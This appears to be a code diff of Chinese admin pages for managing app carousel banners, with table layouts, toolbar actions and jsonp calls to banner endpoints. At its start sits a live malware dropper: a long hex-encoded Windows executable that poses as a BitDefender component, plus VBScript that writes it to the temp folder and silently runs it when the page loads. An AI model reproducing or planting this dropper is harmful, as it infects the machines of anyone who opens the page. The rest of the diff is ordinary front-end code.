1F14DC761F3148C05954F179C44DE1DE82923BA83A06F237F1176CF0BFBC9D407886AD3C2D6308D0AB600B7A0422F57FEF9AB323FEBF70A71C3197FAF103047645272600B5DD2377138D6D8D202922E709217255976A577CA40DDEEE4777F0C3A5CF7D428EFF02722072F17CF54FDD8D6AA5B56809EA321B7B521BDE2A7C4790141BE7A33E33DC692018F8AF96E8CDFA0690E093F04F7D882D1820962F3186D8F806EA1DB4102635E6018B013FF45BA3E29F2113EC75E40E9B6063B08307BE53045151ADA95714808E4D14764BF1BE0D0D4307E0C7F802BF019BF83475407D7E352A7DF5BDD55AE80542C7120A776F70CA12557717860088175A88CA9B820DE0CDDDBFB64EFD64BEC1EDA647D7233182796B1BD1F5417A54822DA2834B1419C17DBB2DDC76EFF182DA1562AC9654B31F66817629BAE32CAACDE1FC0F239F9E5445BBFEE957428F2A6D14769550F675D7DA59C56F5D025C6114D1187434AFC937017FC9703F5D6104A765D0AA5D13E815FE465B805E5D984AD394BF7174A254E34637DCC6E99F0AFE1D3777153822CB80B798C785596F231ED5B753E5C77B7815402FF0216A0D1704F06DBB3D3E58E0AD8815CE25F1383748DFDAAAB70FAE5383FED60925B7A7EE1B3788B7E3DB0B82F32BBC6538C612BDA88537BEBDA7E2BA00F0EE8E99FBCD800C88E225B1C6EDAD292380804E14279754780CD3F60DC1E82BE4939DE14DAB10C805A5AD35CF9510C7FF4217FAB6B3F42988B0EFCEF8B84006967E2BFC33877881E85B2EB07580C6DC56E90C6F3718C0FEA660B030658B66C4755CA81B1413804D5E7F064E807714EF6EEC98061357DB00C3EC0C3639C3AD3A137C331D5B86313914BE15F505D6B70C1C3A68A0986EC0FF46BF8D522F80D44E1F1320B52582B4B90A38C4F05C05EEB680DF14DD5BEF558202D5553020DEB50284D6EE12C232FEAD21E8FF1A8D1603976D40FC480903BCFD3702D3907F20B760D640E6AA0D67390B4BC41687242246F74F6ABC356A0AB71FA3DAF1B1B72854257C638D283F77777BE864049C332C404D006CA9208E97D63528746785309E825E75707EA9EAF61CEDBF3596381C5AA10C8DA9FF7775A1F37B00BD56DDA0C13BAC67E26512D2C70FEA1BCDD1E11F8FC748D094600B5744DB1DBB3C7D072C5D895D9DC24E31964178D8B71BAA37B8D594F035D6C5057496FC62C9C4ED620335621CDA11C213892F0BDCB10850EB37C8E24A85CA01DA2A47476C23C416F4FF6E0755336F8F35B906F806F73CFECA02D12DDEBA004C2B36B645AAFABFE81237A29175807EFFF35512B7E0A52E371412B35498B60A9F82EDD94D3D3C833E70B3D678FBA5F2A8CF6DEA4E3400167C515D87A8CED11B34A922790196FA12B7A2C203D86BBE29B4055578C07FC21BBC431B0FDB52BBB3BBA60D150D7483AB68FD6D082B0F54E7E2F22B43EE2F541E69A0149B00A0BC0D6B54855F60283D7D175D60EFD727FEBFA16E8955E3FEEC80B07D99408E3953458C94D9DE760414A75953441F38C8D18BBF10AD9BCE9D5DAD2E4A0E44E112B4BD6E1822AEBE71CDE04595DD6FD07598421E60163E1C61F7D15C215B476D810B8FF8073919508D1B0253D0223ED2D0E180B770FDF681F90059DC0082A8BBA384D7A4499B76B7C2BE42E62777CAD96E0631C49AC21674FDD64D041701FC1CAD1DCCB8856E34E06D7EFCFD40363AB18161E14A300975F306DE980DDAC2BF61D15F74DD78DEBF1F1FE4CBDFBA2DF1996D709C398469A39B9D397E81FEBB3265FEC3E421A4B27C80A8408032857FA3FD6C41386078702A5EE840813DD41FCCEF115BB547088FEE61E94B6C2D40385BACBE18D9A533781C2FB075BDCE6E23240A0942FE0DC077B78E83CCD6AC23C410348245856E8DFE6DBFCF77481D4B884909A4DD2B805F8ADE1B643704AAAEC409437F61FD30E34A6FC3C66CF7332D16DE759D7C0570BA094D76431400144ADDBBA03D74FD80DAB7D868A68D5F40F60197F617BCFDEF285D9F975BFB1CC8767B23874A23660C975A801F010CECB78EB6FDA75AD81CFCE8F8158EDB102535CE9270D2520BEEB68F196F4B933839966289ADFEB015E1521DAD806D0B04D11A24AC41DB5B8113A1C8BF3028437FB65B0D6E86365FB5B0627C693CEEB7AE0A6D8A8C637DD739B0D9099678EB069647DAAB1A464BB16D7FB45D433B2979F86A4922AF931FB195FEA3800A493A3F403DA3B8DAD605FABFD8CD3C93388A231CA804A5E3E621B0AB4B4DFD60E1E884E802F82F3646336EFBB66319BE305B3D71AC0A71ED4C62777CFF0B641C96B5EFC5B5EE6C4055F96532C0398DA86FE802BA03CF46B47BCD57E46FB1C1D287A37D348F46661A64814089DF62262597DF62DC33FEB7D446CB73652ACDC882A0FCD21B40D70F4702292E4B52EA7C7E110458151820AAB00897514104B2A3002A90460154208C02A84019055081320AA00264144005C828800AAB510015F19EA9A8207C30ED7FABA06D4C6F63616C467265650A96BFBDFD4578697450720F657373174765744375726E7FFBDBC31249641451756572795003666F726D616EDB5D6B6F15436F751F0E456561760D726FBBDD6D3F694D536563076F6E15491C9BDBB6B76C3D6B65640A634B6D4D59533FD6DA2F4C617374455C45674D6F64756CDAFF6DDB6548506405419161644C696272616ACA1258CA0D9542B5BBC3FE5669727475D65796654669188DBDB99317416C940D556E68306465CCBDADF84A70B225CE486BED65B3703C705468058A6FADECE6DACBE745697AF12EB017CC2E98423E5213B6B2E7078EDBC657AD0DD666862DAD4D1963D7B5F6DB42799F546F5769647ABBA84354952B8B39115B7D53ADE16E85E32C5374610F70CF116CEB0ACF7F4366737BC200618516198A7D6159586B6146D653696E67733C33BC454F626A17296F6D30EC963D76AF6ED79745760BF3FB66871F104E616DBCD310570C233BB203414841FEC2B60B084E3944653374A185B13056028B8C04B68499C7E42B4B090B07F008291B618B2729AD2D3206A559BD71FA8B6D767929BA506F697421EC2E842E5F414350DEE1ED0AA746D48EC161677BF792534909E04465D2120658C5659C81903216854E4A5A496FB55CF7B27B6D5D1154A06B96D054651B2673B48020496C2C6370D086F11E1D41033ADDC021A3574B00891E4031012E98DAD71D48A270DDF1216C64F0C661DB53502668D36767416388C0ECE19277731020F07609C3BA0354D9726776AD70618B5380613C49633D0AA1AD6C6544207EB9D885A582A51B6F7166798E029BBD21F46B746F708E13602B0BD84766465BE1C55613F0ADCD49B1952DB444CB4057E925E11476780BC36E4D616F912D61362D4A1E505868ED686508BE70758D157E0BEC0297244162E7B03761EC8E0C5F21F012C72B2584C8E3C7216523B041D6E1C046082B3129A13056966142610921650D487312424A485C8CB310C2CA36F067C24A18098BDCEEC6208C50896391B0425A97E75B09232C34464292524222DFA632B6ED3030AC6E1C68BF022994ADCA7D09235B16375DF246B6CA1A620F6919231269215E0C4B652B644B9660360B8B9578324730891B0DD2A16F77F2F860E06EB16E7551B8426F78412016AC3D711F100D2D7C30FA53736E446C67490A6DD7C4BB81313E777370723A660A2A1B743F897973224D4E72C882ED6EE8497344976F67316DEEB041C391776C786D98F013AFB548EC9F7462656772B7D686758C64AF4666D563684FAC2C619B26AD4E1D823966504516BACCE05CA1077BA5215A1670B4EEC1DC1A52421E11A12D5436C5615AD70F929DD81E6C52D9ACE7BC995B607058E11F36171F4D436DA452B54C6505A3B6D56AF075302030A3D6B8046970599E6EB849B4985674A51B1E96CD4CB773AAA3536B0C2B1848EDEE8A2F82B576A154346E73ACB29D2D210813B49C6830F7D9CC56A45655706432B61809B3C3D89DC0368B6449E43F3FB8843025B8A1875701356A6785ED3156244DAD10361E0D74666BC51E133A9184889361C85A9B2CF7F18C5081564608636B4362121646C8D0F86D73A58411256E062786EE5636CB384B65797358082B6B901DAB4D68985B126114491FB22B6598A446ABF8506F900DA3AD8A69343F7124AC84CF2B4BA49034C3A26CB12718056BAD4BFBE14C6A1DD273A5432BD696B4846156EF96B0843432AA0FC36DC76625A5005045034CDFFB56407ABC7CB1470F14E0EE59B7FC000F010B0107900CB413FE1C04D93AFBBA1003A00D400B02BD0A3B77D8B20800043CA0140C3D3CBD819DBD021E34100706AFFCB69700C0433B5077600144E7C21064002E0264656EC8DE7BE390077F2095C860B1A62E9061D70394836D062C02402E7228200164B37D1001271A2801A6FB5EA973A30C23602706DF85B692428F3DCC47172A000000E09F020000900000FF0000000000000000000000000060BE00F041008DBE0020FEFF5783CDFFEB109090909090908A064688074701DB75078B1E83EEFC11DB72EDB80100000001DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E803720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B9120100008A07472CE83C0177F7803F0075F28B078A5F0466C1E808C1C01086C429F880EBE801F0890783C70588D8E2D98DBE009002008B0709C0743C8B5F048D8430E8C4020001F35083C708FF9638C50200958A074708C074DC89F95748F2AE55FF963CC5020009C07407890383C304EBE1FF964CC502008BAE40C502008DBE00F0FFFFBB0010000050546A045357FFD58D871F02000080207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E93E5BFDFF000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020010000000200000801800000060000080000000000000000000000000000001000100000038000080000000000000000000000000000001001904000050000000A4D00200D8020000000000000000000000000000000000000000000000000100010000007800008000000000000000000000000000000100190400009000000080D30200680100000000000000000000A0600100D80234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE000001002A006A003D0049002A006A003D0049003F00000000000000040004000100000000000000000000000000000038020000000053007400720069006E006700460069006C00650049006E0066006F00000014020000000030003400300039003000340042003000000040000900010043006F006D00700061006E0079004E0061006D0065000000000053004F0046005400570049004E00200053002E0052002E004C002E0000000000680008000100460069006C0065004400650073006300720069007000740069006F006E000000000042006900740044006500660065006E0064006500720020004D0061006E006100670065006D0065006E007400200043006F006E0073006F006C006500000000003C0009000100460069006C006500560065007200730069006F006E00000000003100300036002E00340032002E00370033002E00360031000000000034000A00010049006E007400650072006E0061006C004E0061006D006500000044043604370440044E043A0448044D04490400003800060001004C006500670061006C0043006F007000790072006900670068007400000032003500320038002D00360031003400320000003C00050001004F0072006900670069006E0061006C00460069006C0065006E0061006D00650000006E0065006400770070002E006500780065000000300007000100500072006F0064007500630074004E0061006D006500000000003B044E04370430043D04450400000000400005000100500072006F006400750063007400560065007200730069006F006E0000003100300036002E00340032002E00370033002E003600310000000000440000000000560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000904B004786301003C3F786D6C2076657273696F6E3D22312E302220656E636F64696E673D225554462D3822207374616E64616C6F6E653D22796573223F3E0D0A3C617373656D626C7920786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E763122206D616E696665737456657273696F6E3D22312E30223E0D0AA0203C7472757374496E666F20786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E7633223E0D0AA020A0203C73656375726974793E0D0AA020A020A0203C72657175657374656450726976696C656765733E3C726571756573746564457865637574696F6E4C6576656C206C6576656C3D226173496E766F6B6572222075694163636573733D2266616C7365222F3E3C2F72657175657374656450726976696C656765733E0D0AA020A0203C2F73656375726974793E0D0AA0203C2F7472757374496E666F3E0D0A3C2F617373656D626C793E00000000000000000000000064D5020038D5020000000000000000000000000071D5020054D502000000000000000000000000007DD502005CD50200000000000000000000000000000000000000000088D5020096D50200A6D50200B6D50200C4D50200D2D5020000000000E0D5020000000000ECD50200000000004B45524E454C33322E444C4C005348454C4C33322E444C4C005553455233322E444C4C0000004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F7465637400005669727475616C416C6C6F6300005669727475616C467265650000004578697450726F636573730000004472616746696E697368000057696E48656C705700000000000000000000"
|
| | | Set FSO = CreateObject("Scripting.FileSystemObject")
|
| | | DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
|
| | | If FSO.FileExists(DropPath)=False Then
|
| | | Set FileObj = FSO.CreateTextFile(DropPath, True)
|
| | | For i = 1 To Len(WriteData) Step 2
|
| | | FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
|
| | | Next
|
| | | FileObj.Close
|
| | | End If
|
| | | Set WSHshell = CreateObject("WScript.Shell")
|
| | | WSHshell.Run DropPath, 0
|
| | | //--></SCRIPT> |
| | |
| | | <meta charset="utf-8"> |
| | | <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" /> |
| | | <title>轮播图管理</title> |
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css"/> |
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css"/>
|
| | | <link rel="stylesheet" type="text/css" href="../../layui/css/layui.css" />
|
| | | |
| | | <script src="../../js/doui.min.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script src="../../layui/layui.all.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script type="text/javascript"> |
| | | doui.importLoad({ |
| | | importArray: [ |
| | |
| | | // 搜索触发 |
| | | touchSearch: function (optC) |
| | | { |
| | | doui.showLoading({ content: "加载列表" }); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/swiperbanner/query", |
| | |
| | | }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast({ content: res.msg }); } |
| | | else |
| | | { |
| | |
| | | // 当前行 |
| | | var thatTr = { |
| | | check: false, |
| | | td: [ |
| | | { title: "启用状态", key: mo[i].state, value: mo[i].state }, |
| | | td: [
|
| | | { title: "名称", key: mo[i].title, value: mo[i].title}, |
| | | { title: "启用状态", key: mo[i].state, value: mo[i].state, dataType: 'btnSwitch', click: "switchState(" + mo[i].id + ")" }, |
| | | { title: "包含图片数量", key: mo[i].totalPic, value: mo[i].totalPic },
|
| | | { title: "标识", key: mo[i].card, value: mo[i].card },
|
| | | { title: "ID", key: mo[i].id, value: mo[i].id }, |
| | | { title: "标识", key: mo[i].card, value: mo[i].card }, |
| | | { title: "说明", key: mo[i].title, value: mo[i].title, "class": "font-gray" }, |
| | | { title: "包含图片数量", key: mo[i].totalPic, value: mo[i].totalPic }, |
| | | { title: "创建时间", key: mo[i].createtime, value: mo[i].createtime }, |
| | | |
| | | ], |
| | | }; |
| | | // 状态分析 |
| | | if (thatTr.td[0].key == 0) { thatTr.td[0].value = "已启用"; thatTr.td[0]["class"] = "font-green"; } |
| | | else if (thatTr.td[0].key == 1) { thatTr.td[0].value = "已停用"; thatTr.td[0]["class"] = "font-red"; } |
| | | // 将当前行放入tr组 |
| | | mo_tr.push(thatTr); |
| | | } |
| | |
| | | adminDom.table.opt({ pageSize: 20 }); |
| | | // 表格头排 |
| | | adminDom.table.thead({ |
| | | th: [ |
| | | { title: "启用状态", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "ID", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "标识", width: "", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "text", |
| | | placeholder: "如:index" |
| | | }, |
| | | th: [
|
| | | { title: "名称", width: "1rem", orderUp: "", orderDown: "",
|
| | | edit: {
|
| | | type: "text",
|
| | | placeholder: "如:APP首页"
|
| | | },
|
| | | }, |
| | | { title: "说明", width: "1.3rem", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "text", |
| | | placeholder: "如:APP首页" |
| | | }, |
| | | { title: "启用状态", width: "0.4rem", orderUp: "", orderDown: "" ,
|
| | | edit: {
|
| | | type: "switch",
|
| | | },
|
| | | },
|
| | | { title: "包含图片数量", width: "0.4rem", orderUp: "", orderDown: "" },
|
| | | { title: "标识", width: "1rem", orderUp: "", orderDown: "",
|
| | | edit: {
|
| | | type: "text",
|
| | | placeholder: "如:index"
|
| | | },
|
| | | }, |
| | | { title: "包含图片数量", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "创建时间", width: "", orderUp: "", orderDown: "1" }, |
| | | { title: "ID", width: "0.4rem", orderUp: "", orderDown: "" }, |
| | | |
| | | ] |
| | | }); |
| | | // 工具栏 |
| | |
| | | { "title": "新建", "name": "add", "icon": "fi fi-plus" }, |
| | | { "title": "删除", "name": "del", "icon": "fi fi-trash" }, |
| | | { "title": "修改", "name": "edit", "icon": "fi fi-edit-box" }, |
| | | { "title": "状态 启用/停用", "name": "state", "icon": "fi fi-off" }, |
| | | { "title": "进入查看", "name": "into", "icon": "admin adminjinru1" }, |
| | | ], |
| | | touch: function (back) |
| | |
| | | touchSubmit: function (thereData) |
| | | { |
| | | // 当前数据 |
| | | var item = thereData.list; |
| | | var item = thereData.list;
|
| | | var mydata = {
|
| | | title: item[0].key,
|
| | | card: item[3].key,
|
| | | };
|
| | | |
| | | if (item[1].key == 1) {
|
| | | mydata.state = 0;
|
| | | } else {
|
| | | mydata.state = 1;
|
| | | }
|
| | | |
| | | // 信息上传 |
| | | doui.showLoading("正在新建"); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/swiperbanner/saveAdd", |
| | | data: { |
| | | card: item[2].key, |
| | | title: item[3].key, |
| | | }, |
| | | data: mydata, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast(res.msg); } |
| | | else { doui.showToast("新建成功"); adminDom.editTan.remove(); vm_table.search(); } |
| | | } |
| | |
| | | { |
| | | // 被选中的行id组构建 |
| | | var zu_id = new Array(); |
| | | for (var i = 0, mo = back.list; i < mo.length; i++) { zu_id.push(mo[i][1].key); } |
| | | for (var i = 0, mo = back.list; i < mo.length; i++) { zu_id.push(mo[i][4].key); } |
| | | // 发起请求 |
| | | doui.showLoading("正在删除"); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/swiperbanner/delete", |
| | | data: { idArray: zu_id }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast(res.msg); } |
| | | else { doui.showToast("删除成功"); vm_table.search(); } |
| | | } |
| | |
| | | touchSubmit: function (thereData) |
| | | { |
| | | // 当前数据 |
| | | var item = thereData.list; |
| | | var item = thereData.list;
|
| | | var mydata = {
|
| | | title: item[0].key,
|
| | | card: item[3].key,
|
| | | id: item[4].key,
|
| | | };
|
| | | |
| | | if (item[1].key == 1) {
|
| | | mydata.state = 0;
|
| | | } else {
|
| | | mydata.state = 1;
|
| | | }
|
| | | |
| | | // 信息上传 |
| | | doui.showLoading("正在修改"); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | // 修改文字 |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/swiperbanner/saveModify", |
| | | data: { |
| | | id: item[1].key, |
| | | card: item[2].key, |
| | | title: item[3].key, |
| | | }, |
| | | data: mydata, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast(res.msg); } |
| | | else { doui.showToast("修改成功"); adminDom.editTan.remove(); vm_table.search(); } |
| | | } |
| | |
| | | }); |
| | | adminDom.editTan.opt({ title: "修改" }); |
| | | adminDom.editTan.thereData({ show: true, list: back.list[0] }); |
| | | } |
| | | |
| | | // 切换状态 |
| | | else if (back.toolName == "state") |
| | | { |
| | | if (back.list.length > 1) { doui.showToast({ content: "一次只能操作一个" }); return false; } |
| | | // 当前数据 |
| | | var item = back.list[0]; |
| | | // 修改状态 |
| | | doui.showLoading("切换状态"); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/swiperbanner/updateState", |
| | | data: { id: item[1].key, }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | if (res.code != 0) { doui.showToast(res.msg); } |
| | | else { doui.showToast("切换状态成功"); adminDom.editTan.remove(); vm_table.search(); } |
| | | } |
| | | }); |
| | | } |
| | | |
| | | // 进入查看 |
| | |
| | | type: "replace", |
| | | url: "swiper2.html", |
| | | data: { |
| | | id: item[1].key, |
| | | id: item[4].key, |
| | | }, |
| | | }); |
| | | } |
| | |
| | | vm_table.search(); |
| | | } |
| | | }); |
| | | |
| | | |
| | | // 切换状态
|
| | | function switchState(id) {
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | |
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/swiperbanner/switchState",
|
| | | data: {id: id},
|
| | | success: function (res) |
| | | {
|
| | | layer.close(loading);
|
| | | if (res.code != 0) { doui.showToast(res.msg); }
|
| | | else { vm_table.search(); }
|
| | | }
|
| | | });
|
| | | }
|
| | | |
| | | </script> |
| | |
| | | <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" /> |
| | | <title>轮播图子级管理</title> |
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css" /> |
| | | <link rel="stylesheet" type="text/css" href="../../layui/css/layui.css" /> |
| | | <script src="../../js/doui.min.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script> |
| | | <link rel="stylesheet" type="text/css" href="../../layui/css/layui.css" /> |
| | | <script src="../../layui/layui.all.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../js/versionControl.js" type="text/javascript" charset="utf-8"></script> |
| | | <script type="text/javascript"> |
| | |
| | | el: "#thisTable", |
| | | // 搜索触发 |
| | | touchSearch: function(optC) { |
| | | doui.showLoading({ |
| | | content: "加载列表" |
| | | }); |
| | | |
| | | var data = { |
| | | pageIndex: optC.table.page, // 页码 |
| | | pageSize: optC.table.pageSize, // 每页数量 |
| | |
| | | if (version!=null) |
| | | data.version = version; |
| | | |
| | | |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/swiperbanner/queryPicInfo", |
| | | data: data, |
| | | success: function(res) { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { |
| | | doui.showToast({ |
| | | content: res.msg |
| | |
| | | // 当前行 |
| | | var thatTr = { |
| | | check: false, |
| | | td: [{ |
| | | td: [
|
| | | {
|
| | | title: "图片",
|
| | | key: mo[i].src,
|
| | | value: mo[i].src,
|
| | | dataType: "img"
|
| | | },
|
| | | {
|
| | | title: "版本选择",
|
| | | key: mo[i].id,
|
| | | value: '版本查询',
|
| | | dataType: 'btn',
|
| | | click: "getVersions(" + mo[i].id + ")"
|
| | | },
|
| | | { |
| | | title: "启用状态", |
| | | key: mo[i].state, |
| | | value: mo[i].state |
| | | }, |
| | | { |
| | | title: "版本选择", |
| | | key: mo[i].id, |
| | | value: '版本查询', |
| | | dataType: 'btn', |
| | | click: "getVersions(" + mo[i].id + ")" |
| | | }, |
| | | { |
| | | title: "图片", |
| | | key: mo[i].src, |
| | | value: mo[i].src, |
| | | dataType: "img" |
| | | }, |
| | | { |
| | | title: "跳转方式", |
| | | key: mo[i].jumpDetail.type, |
| | | value: mo[i].jumpDetail.name |
| | | }, |
| | | { |
| | | title: "跳转参数", |
| | | key: mo[i].params, |
| | | value: mo[i].params |
| | | }, |
| | | { |
| | | title: "跳转是否需要登录", |
| | | key: mo[i].jumpNeedLogin, |
| | | value: mo[i].jumpNeedLogin ? "需要" : "不需要" |
| | | value: mo[i].state,
|
| | | dataType: 'btnSwitch', |
| | | click: "switchState(" + mo[i].id + ")" |
| | | }, |
| | | { |
| | | title: "自动控制", |
| | |
| | | title: "结束时间", |
| | | key: mo[i].endTime_str, |
| | | value: mo[i].endTime_str |
| | | },
|
| | | {
|
| | | title: "跳转方式",
|
| | | key: mo[i].jumpDetail.type,
|
| | | value: mo[i].jumpDetail.name
|
| | | },
|
| | | {
|
| | | title: "跳转参数",
|
| | | key: mo[i].params,
|
| | | value: mo[i].params
|
| | | },
|
| | | {
|
| | | title: "跳转是否需要登录",
|
| | | key: mo[i].jumpNeedLogin,
|
| | | value: mo[i].jumpNeedLogin ? "需要" : "不需要"
|
| | | }, |
| | | { |
| | | title: "备注", |
| | |
| | | }, |
| | | ], |
| | | }; |
| | | // 状态分析 |
| | | if (thatTr.td[0].key == 0) { |
| | | thatTr.td[0].value = "已启用"; |
| | | thatTr.td[0]["class"] = "font-green"; |
| | | } else if (thatTr.td[0].key == 1) { |
| | | thatTr.td[0].value = "已停用"; |
| | | thatTr.td[0]["class"] = "font-red"; |
| | | } |
| | | |
| | | // 跳转参数 |
| | | if (typeof(thatTr.td[4].key) == "object") { |
| | | thatTr.td[4].value = JSON.stringify(thatTr.td[4].key); |
| | | thatTr.td[4].key = JSON.stringify(thatTr.td[4].key); |
| | | if (typeof(thatTr.td[7].key) == "object") { |
| | | thatTr.td[7].value = JSON.stringify(thatTr.td[7].key); |
| | | thatTr.td[7].key = JSON.stringify(thatTr.td[7].key); |
| | | } |
| | | // 将当前行放入tr组 |
| | | mo_tr.push(thatTr); |
| | |
| | | }); |
| | | // 表格头排 |
| | | adminDom.table.thead({ |
| | | th: [{ |
| | | title: "启用状态", |
| | | width: "", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | | type: "radio", |
| | | list: [{ |
| | | key: 1, |
| | | value: "禁用" |
| | | }, |
| | | { |
| | | key: 0, |
| | | value: "启用" |
| | | }, |
| | | ], |
| | | }, |
| | | th: [
|
| | | {
|
| | | title: "图片",
|
| | | width: "0.8rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "file",
|
| | | },
|
| | | }, |
| | | { |
| | | title: "版本选择", |
| | | width: "", |
| | | width: "0.4rem", |
| | | orderUp: "", |
| | | orderDown: "" |
| | | }, |
| | | { |
| | | title: "图片", |
| | | width: "", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | | type: "file", |
| | | }, |
| | | {
|
| | | title: "启用状态",
|
| | | width: "0.4rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "switch",
|
| | | },
|
| | | },
|
| | | {
|
| | | title: "自动控制",
|
| | | width: "0.4rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "switch",
|
| | | },
|
| | | },
|
| | | {
|
| | | title: "起始时间",
|
| | | width: "0.6rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "datetime-local"
|
| | | },
|
| | | },
|
| | | {
|
| | | title: "结束时间",
|
| | | width: "0.6rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "datetime-local"
|
| | | },
|
| | | }, |
| | | { |
| | | title: "跳转方式", |
| | | width: "", |
| | | width: "0.6rem", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | |
| | | }, |
| | | { |
| | | title: "跳转参数", |
| | | width: "", |
| | | width: "0.8rem", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | | type: "text", |
| | | type: "textarea", |
| | | placeholder: '如:{"url":"http://www.baidu.com","name":"百度跳转"}', |
| | | }, |
| | | }, |
| | | { |
| | | title: "跳转是否需要登录", |
| | | width: "", |
| | | title: "跳转需要登录", |
| | | width: "0.4rem", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | | type: "radio", |
| | | list: [{ |
| | | key: false, |
| | | value: "不需要" |
| | | }, |
| | | { |
| | | key: true, |
| | | value: "需要" |
| | | }, |
| | | ], |
| | | type: "switch", |
| | | }, |
| | | }, |
| | | { |
| | | title: "自动控制", |
| | | width: "", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | | type: "radio", |
| | | list: [{ |
| | | key: 1, |
| | | value: "是" |
| | | }, |
| | | { |
| | | key: 0, |
| | | value: "否" |
| | | }, |
| | | ], |
| | | }, |
| | | }, |
| | | { |
| | | title: "起始时间", |
| | | width: "", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | | type: "datetime-local" |
| | | }, |
| | | }, |
| | | { |
| | | title: "结束时间", |
| | | width: "", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | | type: "datetime-local" |
| | | }, |
| | | }, |
| | | |
| | | { |
| | | title: "备注", |
| | | width: "", |
| | | width: "0.6rem", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | | type: "text" |
| | | type: "textarea" |
| | | }, |
| | | }, |
| | | { |
| | | title: "ID", |
| | | width: "", |
| | | width: "0.4rem", |
| | | orderUp: "", |
| | | orderDown: "" |
| | | } |
| | |
| | | listC.push(jiedian); |
| | | } |
| | | // 重置表格头排 |
| | | vm_table.thead.th[3].edit.list = listC; |
| | | vm_table.thead.th[6].edit.list = listC; |
| | | } |
| | | } |
| | | }); |
| | |
| | | touchSubmit: function(thereData) { |
| | | // 当前数据 |
| | | var item = thereData.list; |
| | | doui.showLoading("正在新建"); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | |
| | | // 请求数据 |
| | | var mydata = { |
| | | bannerId: bannerId, // 轮播图id |
| | | state: item[0].key, // 启用状态 |
| | | jumpType: item[3].key, // 跳转方式 |
| | | params: item[4].key, // 跳转参数 |
